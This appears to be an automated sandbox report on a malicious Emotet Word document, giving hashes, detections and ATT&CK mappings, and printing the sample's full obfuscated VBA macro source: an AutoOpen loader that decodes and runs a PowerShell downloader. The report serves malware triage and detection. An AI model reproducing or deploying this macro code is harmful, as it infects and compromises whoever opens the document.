Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a738811ff26a39af…

MALICIOUS

Office (OLE)

114.8 KB Created: 2018-06-21 12:28:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: de3bc735daa4c0d375e1ee8a10a6cddb SHA-1: 48a9fb656dc22f3b390a219b63d3664339f3b07d SHA-256: a738811ff26a39afd2d6dbc6537ee0faaf1c55be50c44fb838e177228d75b967
272 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The macros attempt to execute a PowerShell command that downloads and executes a second-stage payload from a remote URL. The ClamAV detection and heuristic firings strongly indicate this is an Emotet downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-6877386-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6877386-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Next
aNjwuCb = jsvjSHI + Shell(uJRYbAYh + WRPDLdC + BQchwDLZRAH, 65342 - 65342)
For Each iomVBd In jhWwHQ
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Next
aNjwuCb = jsvjSHI + Shell(uJRYbAYh + WRPDLdC + BQchwDLZRAH, 65342 - 65342)
For Each iomVBd In jhWwHQ
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16254 bytes
SHA-256: dbc2700e373fd8f1387a1178105328342f6e2721d9458de55637d431aa67e9e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
199 of 326 identifiers look randomly generated (e.g. 'IqMdMXBlOKsKNp') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zzDdqoJIJdPd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "IqMdMXBlOKsKNp"
Function PzECkQvTXVm()
On Error Resume Next
For Each PEzmt In NazwrV
rTSkd = uKOzrV = dbjCD
PkzJMw = (oNAcbF * 89575 + 61882 * CInt(hCZjUO - CDbl(6338)) * 65718 * Oct(66488))
KoChd = 31143 + Atn(93747) / 33997 / Round(73246) / 43960 / CInt(hPboH)
Next
twCCVRwcL = "OwerSHell  -j" + "oIn (( 97 ,35 " + ",28,17, 38 , 43" + " , 101 ,120" + ",101,43 ,32" + " , " + "50 , 104,42 , 3" + "9 , 47, 32,38" + " , 49," + "101,55, 36, "
For Each WcXoh In fjFLtw
fduWwY = CVdio = BDGTdh
oLzNY = (oloUjW * 17062 + 76434 * CInt(PcuTV - CDbl(22324)) * 19933 * Oct(50352))
qSYGR = 37059 + Atn(55468) / 33949 / Round(51030) / 51608 / CInt(dlThvo)
Next
nlSFnmIKV = "43 " + ",33,42, 40 ," + " 126,97 , 29 " + ",41," + "29" + " ,4 , 23 ,46 ," + "10" + "1, 120 ,101, "
For Each nPQdB In EZharN
MRtBsl = aNYOB = dTpBM
hcSpN = (nFfvm * 54490 + 89258 * CInt(FDOUIR - CDbl(3279)) * 81794 * Oct(34181))
UdBGz = 99387 + Atn(42858) / 37011 / Round(12753) / 67545 / CInt(ArKadw)
Next
FwTtvwV = "43 ," + " 32,50 , 1" + "04, 42 ,3" + "9 , 4" + "7, 32,38,49 , "
For Each lNutM In VSEjl
NaRmki = mhGQfL = NLSmP
SQpiz = (KKvCV * 34770 + 91482 * CInt(RXXqtA - CDbl(45041)) * 57898 * Oct(29306))
rbzUzw = 91862 + Atn(26843) / 80595 / Round(71893) / 55034 / CInt(BqUWzY)
Next
YWElZjRV = "101,22" + ", " + "60, 54,49," + " 32 , 40, 10" + "7 ,11, 32, 49, " + "107" + ", 18 ,32 ,39 ," + " 6,41 ,44 , 3" + "2 " + ", 43, 49 , 1"
For Each RGjko In mMOchh
IuLlhl = DrZVi = tAjmiZ
OfHlcw = (mihzwd * 55695 + 57898 * CInt(nqOtM - CDbl(97018)) * 56043 * Oct(15702))
nLzIsa = 73342 + Atn(36318) / 76359 / Round(46660) / 30272 / CInt(zuTCd)
Next
jIiFPz = "26, 97,50" + ", 4" + "7,43 ,31 " + ", 6,101 , " + "120 , " + "101 ,98, 45" + ", 49," + "49, 53,1" + "27, 106,"
For Each Bwosm In IlEwO
zvYuzG = pEcwA = dqWFaI
aPEWD = (zDtGwp * 30726 + 36965 * CInt(TioZw - CDbl(10248)) * 71699 * Oct(64231))
zzcTtp = 5842 + Atn(30343) / 44611 / Round(30585) / 10511 / CInt(ibYIZC)
Next
OjjkwXwEj = "106 , 50 , 5" + "0,50 ,107, 38," + " 43,44, 43 " + ", 44" + " , 43 , 107 ,38" + " ,42" + " ,40, 106" + ",125" + ", 8,1" + ",41 , 125 ,3"
For Each nkJkn In KVFwD
nOpwj = zRTWa = vwbqU
idmfzS = (BKDGR * 78284 + 45109 * CInt(RWEhw - CDbl(4411)) * 44977 * Oct(40076))
skirw = 30010 + Atn(23252) / 84952 / Round(96809) / 1519 / CInt(HrHIc)
Next
tOMwBCNc = "3 ,124,106" + ",5 , 45 , 49 ," + "49 ,53 ,12" + "7 ,106,106" + ", 50,50 , 50 ,1"
For Each jcHSqF In wSwzWa
otdTOW = Xaiqc = vvQCV
qcAikj = (SamqVw * 99913 + 23680 * CInt(TDTFrO - CDbl(25117)) * 67820 * Oct(4334))
UIpmmc = 88579 + Atn(4664) / 40752 / Round(72863) / 55204 / CInt(RcFrC)
Next
vHZqkoj = "07,33 ,55 ," + " 32 ,51 , 4" + "2 " + ", 54,49" + " ,60,41 , 32, 1" + "07, 38, 42 " + ",40 ,10" + "7 , 48 , 36 ,1" + "06" + " , 36 , 124, 11"
PzECkQvTXVm = twCCVRwcL + nlSFnmIKV + FwTtvwV + YWElZjRV + jIiFPz + OjjkwXwEj + tOMwBCNc + vHZqkoj
End Function
Function YKILspToChM()
On Error Resume Next
For Each HXUzZZ In prfXJa
XiPEz = OiLKQX = ujrvz
rHhWz = (rqUTC * 71703 + 95551 * CInt(YAREt - CDbl(54210)) * 90982 * Oct(95843))
CBuob = 34970 + Atn(31917) / 82626 / Round(26696) / 37545 / CInt(wQuBK)
Next
ntVJNzjKo = "8,117," + "61," + " 124 , 1" + "06, 5" + ", 45,49 , 4" + "9 ," + " 53, 127 , 106" + " ,10"
For Each kCuEGp In ajrPFh
wLDOv = BljGST = wvhswQ
zfivF = (unmjuA * 21099 + 90775 * CInt(AdIkw - CDbl(14197)) * 86447 * Oct(5707))
KFiwO = 61808 + Atn(28139) / 12696 / Round(39706) / 71379 / CInt(EcSwt)
Next
cXjNQANmQk = "6 ," + " 39 ,47, " + "45" + ", 35,60,54 " + ",107 ,38, 42 ,"
For Each jsMfI In EcsOi
DDiBl = TVRkt = jubmQ
CEKcp = (qhHzP * 22282 + 90235 * CInt(uBOrT - CDbl(330)) * 3862 * Oct(16982))
LRjdA = 69568 + Atn(84565) / 49304 / Round(6068) / 27047 / CInt(viKus)
Next
hNKuj = "40 , 106, 9" + ",2 ,35 ,1" + "8, 6,106" + " ,5,45 , 49, 49"
For Each ZGBFH In dzbBzN
CEdCf = jsLwb = rmUCMj
mFDsq = (faDwJL * 43710 + 10854 * CInt(WFiXo - CDbl(75733)) * 4954 * Oct(61123))
Isuli = 17097 + Atn(52330) / 41302 / Round(35125) / 52933 / CInt(TjZoq)
Next
YmwPiSBoA = " , 53, 127," + "10" + "6, 106,4" + "1,36 ,42 , 104" + ",40 , 36 ,55,4"
For Each NcudPQ In aiZiTO
tbuKEj = BEGzMD = RiTSi
bGjXX = (SvtED * 32197 + 33093 * CInt(drWDvi - CDbl(78881)) * 70266 * Oct(74179))
awzNwm = 5675 + Atn(51569) / 46155 / Round(60738) / 61563 / CInt(TodvNH)
Next
DrRVUwoSZ = "6 , 32 ,4" + "9 , 107 ,3" + "8,42 ,40 ,106 ," + "18,29 ,36 ," + "116,18, 106" + ", 5 , 45, 49 "
For Each KICMKo In oUmNP
oYjwio = QJpWW = Sjuadm
BzSuc = (NRjVdY * 50931 + 12065 * CInt(OYVULa - CDbl(46434)) * 64276 * Oct(45922))
okiXZ = 92932 + Atn(32781) / 86219 / Round(7915) / 92823 / CInt(PuIoIh)
Next
BCfjYPHCXB = ", 49 , 5" + "3, 127 ,106 ," + "106 , " + "54,32 , 39 , 32" + " , 54, 49," + " 60 ,"
For Each whTIR In VsoCo
EFfSRB = HOEmvj = uLjSY
Auvzz = (pIZmX * 33615 + 23258 * CInt(LHcai - CDbl(45249)) * 24130 * Oct(13415))
LKBwEF = 28230 + Atn(31306) / 27839 / Round(46481) / 32876 / CInt(tOqtR)
Next
zlhLwQPGn = " 32 ,43 , " + "35" + " ," + " 32, 55, 32 , "
For Each YGsiIN In RbmhP
BoWndb = zdMQju = qiWMTc
EnNUtD = (OLnQsq * 75231 + 65701 * CInt(VdBtw - CDbl(89982)) * 34141 * Oct(2658))
SarPGJ = 62003 + Atn(42452) / 92216 / Round(18856) / 42464 / CInt(msPMb)
Next
pZjWWKHkGOb = "43,38 , 1" + "07,45 , 48 " + ", 106,42 , " + "33 , 114, 4"
For Each LhtMaR In ajKLb
GzZtfc = KUbYm = JAjCKs
zZviOf = (XSCdh * 5194 + 89984 * CInt(HEbVv - CDbl(57693)) * 16517 * Oct(89730))
QiXWAT = 53514 + Atn(68802) / 80245 / Round(61267) / 8912 / CInt(iDcOGi)
Next
kMuJCnj = "4 , 125, " + "32" + ",112,106 ,98, " + "107 ,22 , 53 , " + "41 , 44,49 ," + "109, 9" + "8, 5 ,98 ,108" + " , 126, 9" + "7,53,50,3 ,"
YKILspToChM = ntVJNzjKo + cXjNQANmQk + hNKuj + YmwPiSBoA + DrRVUwoSZ + BCfjYPHCXB + zlhLwQPGn + pZjWWKHkGOb + kMuJCnj
End Function
Function XLHGbBmkNA()
On Error Resume Next
For Each qhSNbW In PvaotT
zSDjJB = lZOcBn = mfpvw
PbbbD = (MAlVoW * 67023 + 15071 * CInt(jlaXTC - CDbl(95021)) * 97351 * Oct(33829))
EnabP = 77832 + Atn(26706) / 40681 / Round(98925) / 26401 / CInt(cJfDa)
Next
YfArwAdiJu = " 8,46 , 101" + " ,120, 101, 97" + ", 35 ,28 ," + "17" + ",38,43 ," + "107,43,32," + " 61,49 ,109 ," + " 116, " + "10"
For Each UcUBk In tMiwX
cXUih = kpqjK = QaRnr
oMBBsr = (rcQUn * 33802 + 73396 * CInt(wzrIz - CDbl(22623)) * 43439 * Oct(40451))
fDHjkw = 96142 + Atn(94095) / 24726 / Round(75446) / 81976 / CInt(aRriY)
Next
DLiACQECY = "5, 101,1" + "14," + "119 ,113 , " + "124, " + "119," + " 11" + "9," + " 108, 126 " + ", " + "97, 47 ,"
For Each XhKNj In zibKfY
XcjBX = RoMWQw = aVchCB
UIdqRM = (nVjkCz * 98436 + 34086 * CInt(tJiCw - CDbl(31608)) * 18026 * Oct(46144))
LiffZ = 65816 + Atn(2131) / 93420 / Round(43443) / 58738 / CInt(wFYtk)
Next
GzWBbzfjt = " 46 , 4" + "7,2" + "8, 4" + "4,101, " + "120 ,101,97 ," + " 32 "
For Each lzsSN In cBMRiN
HzwDd = QSjzQ = rHREoI
OOHwG = (wEcpmU * 33998 + 65617 * CInt(RrChl - CDbl(31544)) * 92420 * Oct(8347))
IGzwC = 19628 + Atn(69786) / 39923 / Round(28793) / 2604 / CInt(ISKwqI)
Next
KrfHoB = ", 43 ," + " 51, 127" + " , 49 , 32," + "40 ,53, 101 ,11" + "0 ,101 ,98, 25" + ",98, 1" + "01" + " ,110,101 ,97 ," + "53,"
For Each taPYUl In Rdakk
mMbkhK = dYiAfO = hHuAjX
zImvCJ = (vstsB * 32606 + 15244 * CInt(wfsQIN - CDbl(90397)) * 65606 * Oct(87758))
DdfTz = 64854 + Atn(38134) / 53874 / Round(30440) / 4672 / CInt(tMQwZ)
Next
UjYizmWfnz = "50 ,3,8 , 4" + "6,1" + "01" + " , 1" + "10, "
For Each LjHXs In nSRwiB
KzrBjl = azHYWA = NducHq
uBWMj = (wQjcQB * 15844 + 53325 * CInt(mBflhj - CDbl(77374)) * 94513 * Oct(30252))
kCNjP = 31657 + Atn(95370) / 39436 / Round(67267) / 12822 / CInt(GMYjE)
Next
qDHhhz = "101, 98 " + ", 10" + "7 ,32,61," + "32, 98, " + "126," + " 35,42, 5"
For Each CqfbL In CPBwX
QLtZh = RNRaQ = uOhizl
pLqYi = (ziUQU * 76182 + 10914 * CInt(AUQnI - CDbl(59153)) * 47655 * Oct(59479))
umWrWw = 37190 + Atn(65735) / 97526 / Round(26619) / 81725 / CInt(fKmaNk)
Next
OwWqLlwNWD = "5," + "32 , " + "36, 38 ,45, 1" + "09 ,97,55 ,28" + " ,2,35,44 ,101,"
For Each PTDCDN In UFFiFI
ihcNc = Ihzja = ftMXBq
wjnuTX = (OcSAbh * 72369 + 68563 * CInt(oUzzV - CDbl(13577)) * 84040 * Oct(67693))
CbfDkz = 33896 + Atn(27680) / 16105 / Round(18061) / 46075 / CInt(sEboqA)
Next
OzTcKIAFpw = " 44 " + ", 43 " + ",101 ," + " 97"
For Each ACsti In JKIak
wwbnJn = jDalX = pMIkpB
UQHjqz = (rQKBzY * 52027 + 79523 * CInt(uEFWWA - CDbl(80943)) * 65126 * Oct(20848))
VHPbPD = 40947 + Atn(27034) / 11317 / Round(37964) / 50809 / CInt(VIDfQ)
Next
bzHUP = " , 50 , 47" + ",43 ,31 " + ",6, 108," + " 62 , 49,55," + "60 , 62, 97 ," + "29," + "41 "
XLHGbBmkNA = YfArwAdiJu + DLiACQECY + GzWBbzfjt + KrfHoB + UjYizmWfnz + qDHhhz + OwWqLlwNWD + OzTcKIAFpw + bzHUP
End Function
Function qhVbLIbliac()
On Error Resume Next
For Each BNbrXO In WUPJNP
kBisjF = sEasD = PwQFvu
jSNoi = (XFSJbk * 758 + 22786 * CInt(bmhsH - CDbl(77725)) * 75835 * Oct(31877))
QmOkU = 85535 + Atn(57337) / 54395 / Round(40412) / 15432 / CInt(tBiDh)
Next
oKOEm = ",29," + "4,23 ," + "46," + " 10" + "7 ," + " 1 , 42 , 50" + " ,43" + " , 41,42 "
For Each iWNFi In aTzjWk
HnRUMG = sGSADV = ubFjl
BsswNz = (tYqbcX * 92642 + 27205 * CInt(BMLOvb - CDbl(47575)) * 64824 * Oct(24039))
LjMUwT = 22034 + Atn(42286) / 62446 / Round(51210) / 38911 / CInt(mjqzc)
Next
ZzzoKJzGC = ", 36 ,33 ,3 , 4" + "4,41,32,109, 97" + " ,55,28 " + ", 2 , 35 , 44,"
For Each iUkip In wzrFUU
tQVAcF = MFbOC = TXihm
swjVX = (zWsvVM * 60792 + 97555 * CInt(RoOvwC - CDbl(2815)) * 32182 * Oct(86007))
PRKwI = 62807 + Atn(5367) / 82561 / Round(46758) / 41435 / CInt(rfqod)
Next
DtVHT = " 1" + "07, " + "17 ,42, 2" + "2,49 , 55 ,4" + "4, 43" + ",34 ," + " 109" + " ," + " 108 ,105 "
For Each bWPpT In aXbOd
jvRkZ = SYvABw = oMYtqN
YTUPrd = (jUNTZ * 28243 + 57002 * CInt(mkjMWq - CDbl(24532)) * 6912 * Oct(21419))
qbpJo = 74920 + Atn(84965) / 3085 / Round(14744) / 9921 / CInt(QJsHh)
Next
fMmojwn = ",101 ,97, 47," + " 4" + "6 , 47 ,28 ," + " 4" + "4, 108,126 " + ",22 ,49 ,36 ," + "55, 49 ," + " 104"
For Each zvhBAT In onIvzz
HMVAiz = KIoaA = wcqDJ
WqIjIF = (vmoQR * 81589 + 77831 * CInt(ojjiau - CDbl(90081)) * 62549 * Oct(1989))
kjcpDw = 48251 + Atn(27970) / 39921 / Round(43097) / 3851 / CInt(JHqAtm)
Next
dtoAviM = " , 21 , 55 " + ",42 ," + "38 , 3" + "2," + " 54,54" + ",1" + "01, " + "97 , 4" + "7, "
qhVbLIbliac = oKOEm + ZzzoKJzGC + DtVHT + fMmojwn + dtoAviM
End Function
Function RblTaYf()
On Error Resume Next
For Each HrOGhz In nWhCk
cvpsK = jRmLp = rkVWU
loQGfX = (BFiho * 13066 + 25292 * CInt(tWwiE - CDbl(15473)) * 2823 * Oct(1824))
BIhSam = 88806 + Atn(90210) / 99612 / Round(67903) / 38903 / CInt(iknvdk)
Next
HlDijBNLKF = "46 ,47, " + "28 ,44" + " ,1" + "26,39 "
For Each YqCBPB In XvBmcM
SRfPw = NGIwUk = HTQiaa
OzrnJU = (wPDzz * 13037 + 54526 * CInt(ivGlo - CDbl(92549)) * 5944 * Oct(98257))
DRuTRN = 11409 + Atn(59918) / 84299 / Round(44702) / 75797 / CInt(AkUso)
Next
NnKJMD = ",55 ,32, 36, 4" + "6,126 ,56 ,38, " + "36,49 , 38," + "45,62,5" + "0 , 55"
For Each zWprpK In UnonV
KMbkL = ZRrWMR = BhTWdq
VczDB = (Lzlni * 27951 + 70785 * CInt(JkKma - CDbl(52044)) * 81276 * Oct(51288))
jGcEC = 96592 + Atn(70098) / 55040 / Round(3191) / 24567 / CInt(UvYoqZ)
Next
zRvjLlNJSvr = ", 44 , 49 ,32 " + ",10" + "4 ,45 ,42, 5" + "4 ,49" + ",101, 97 " + ",26 , 107, " + "0, " + "61 ,38, 3" + "2 ,53 " + ", 49,4"
For Each AALVqr In rajdS
PkjLX = ziIwU = ElGCEn
zzMTD = (XiNMzP * 59462 + 55375 * CInt(WKMquk - CDbl(55192)) * 80237 * Oct(3868))
OFLOjU = 31260 + Atn(44169) / 74506 / Round(47194) / 37884 / CInt(KKFnz)
Next
ZLFziSCPD = "4 ,42 ," + " 4" + "3,107 ," + " 8,32 , 54, 54"
For Each XpLzhW In XoFajs
YpiIj = wCjnf = Xwjcp
pBnIEW = (qHiMK * 78704 + 51369 * CInt(XwzHL - CDbl(63461)) * 94780 * Oct(56154))
ijlXhG = 25275 + Atn(31809) / 13787 / Round(56222) / 54298 / CInt(zsYWkO)
Next
nOVFz = ", 36 ,34,32 " + ", 126," + " 56, 5" + "6 ) |foreAcH"
For Each sKziJd In vBACO
btfLLQ = PzKwd = rjGLwu
WAOwfB = (cvPDS * 51193 + 294 * CInt(nkAMVp - CDbl(95331)) * 43355 * Oct(71989))
PjdNHR = 99283 + Atn(80000) / 86307 / Round(79861) / 47203 / CInt(dzDHcR)
Next
llmCpb = "-OB" + "JECT{[CHar] ( " + "$_ -bXOr '0" + "x45'" + ")}) | " + ".( $Env" + ":CO" + "mspEC[4,26,2" + "5]-joIN'')"
RblTaYf = HlDijBNLKF + NnKJMD + zRvjLlNJSvr + ZLFziSCPD + nOVFz + llmCpb
End Function


Attribute VB_Name = "ihVETJiVClin"
Function wzoNz()
On Error Resume Next
For Each XmcsFl In DsvNTO
diSjX = (NiljF * 77788 + 57679 * CInt(KsdkT - CDbl(81604)) * 82966 * Oct(47057))
RIEIf = ZqAvPs = SBQWh
BtnQHE = 86903 + Atn(164) / 35262 / Round(56303) / 329 / CInt(YESBY)
Next
For Each CipLs In tOdqZ
UzIwXX = (rwEloG * 25975 + 99960 * CInt(qnARd - CDbl(94940)) * 37633 * Oct(98697))
pAiXs = CaqJDP = hvXjWw
AFiFVY = 80889 + Atn(81281) / 16440 / Round(96931) / 43680 / CInt(JuhWvU)
Next
For Each djOQE In IQFEuw
VCDkVd = (UkMRs * 74008 + 49158 * CInt(fAZbM - CDbl(34407)) * 40912 * Oct(25151))
oaINHk = OBvIGr = ARSjsX
YRXCkF = 60503 + Atn(34780) / 70358 / Round(18035) / 99504 / CInt(RvvVoM)
Next
For Each aDqrR In oDYKui
ppQIkL = (iGwQm * 16856 + 32463 * CInt(BFwdWr - CDbl(93654)) * 87942 * Oct(64497))
GCwCGH = bWzcim = dpWUGZ
IiOBT = 27478 + Atn(31451) / 21632 / Round(71827) / 86571 / CInt(jhiIab)
Next
For Each oaKlQw In SLAhU
mHVzUi = (ntaPl * 13326 + 62912 * CInt(EGUPvV - CDbl(34830)) * 98629 * Oct(88680))
RPiAC = iQQIb = josaL
AuAKRa = 27398 + Atn(10123) / 60475 / Round(34651) / 49727 / CInt(UIbbC)
Next
End Function
Function AmSiHbJkwGD()
On Error Resume Next
For Each WmqKl In pYUsZ
WUJWzz = (HwEmz * 70179 + 23353 * CInt(KnSkEl - CDbl(50054)) * 7572 * Oct(47806))
qJfUt = VfwvE = zJcFvU
AsZZi = 61038 + Atn(70687) / 3111 / Round(15559) / 39789 / CInt(wRkSIq)
Next
YrkNqC = CYsnYCKHUCc + Chr(aViddWwujZ + 80 + AYwzjcw)
For Each nEzQRl In lNpJH
qFlYLQ = (AoIENK * 5779 + 98019 * CInt(MfAmPH - CDbl(30092)) * 39469 * Oct(69704))
nJtSvs = VFqfM = sGpzw
CGiRzA = 18630 + Atn(16721) / 41580 / Round(69465) / 66935 / CInt(RnkcaH)
Next
For Each NMNpz In IzZHf
ITbhT = (rvSlj * 58740 + 71835 * CInt(ANYVQ - CDbl(62320)) * 65978 * Oct(57027))
jpRlJp = kAqKa = pGQXj
DbciE = 52601 + Atn(13648) / 89798 / Round(52395) / 8088 / CInt(zqikvs)
Next
AmSiHbJkwGD = YUkFDQ + YrkNqC + PzECkQvTXVm + YKILspToChM + XLHGbBmkNA + qhVbLIbliac + RblTaYf
For Each ThGRB In oaviYS
szVaG = (GNJCu * 48959 + 61261 * CInt(qUwmt - CDbl(27550)) * 27702 * Oct(7973))
Gmatu = fcWJzz = UEdsl
JfLrVZ = 95130 + Atn(12055) / 99606 / Round(85362) / 58702 / CInt(qovPn)
Next
End Function
Function aEsHDpHcPhb(WRPDLdC)
On Error Resume Next
For Each JLjiZY In jJpzr
BcZuW = (uETzXf * 69797 + 84053 * CInt(JLFEQ - CDbl(94206)) * 66740 * Oct(49924))
fFnbp = IGIjc = QtZVtb
OMwpjL = 43654 + Atn(96075) / 68148 / Round(89181) / 51625 / CInt(TCTOQ)
Next
For Each SPDoQ In AOdsR
jXVtLt = (PHQSSY * 24270 + 64266 * CInt(JYziI - CDbl(29514)) * 51013 * Oct(23391))
ZvbpRh = jDLDqZ = ahBzCw
PDqcFF = 91541 + Atn(74347) / 44547 / Round(38040) / 93705 / CInt(HlzFa)
Next
aNjwuCb = jsvjSHI + Shell(uJRYbAYh + WRPDLdC + BQchwDLZRAH, 65342 - 65342)
For Each iomVBd In jhWwHQ
PBKrl = (Mcitj * 83600 + 13207 * CInt(SGccaJ - CDbl(38662)) * 15781 * Oct(96825))
CMtVXY = PDYtFb = UNdGG
pJWBQb = 88288 + Atn(39942) / 63460 / Round(13327) / 7065 / CInt(DPpYT)
Next
End Function
Sub AutoOpen()
On Error Resume Next
For Each EJEQnh In NfWHNf
CFFsp = (EwfUiw * 40933 + 74431 * CInt(LQvum - CDbl(2436)) * 93699 * Oct(78067))
VpNDw = NTbpF = JwjamI
jirMAL = 37066 + Atn(11566) / 22366 / Round(36828) / 85843 / CInt(FRhWA)
Next
Application.Run UVAjIWwTvk + "aEsHDpHcPhb" + WuvuzRo, owwslzoh + AmSiHbJkwGD + kHBHBlZoQp
For Each BAHHOV In hEBUMT
sSFqi = (NscRBA * 66650 + 55802 * CInt(jcajwl - CDbl(15596)) * 43236 * Oct(52751))
VhSGR = zzrTmL = rXRIXq
OmChY = 47908 + Atn(88606) / 55566 / Round(44977) / 30532 / CInt(viWIvu)
Next
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.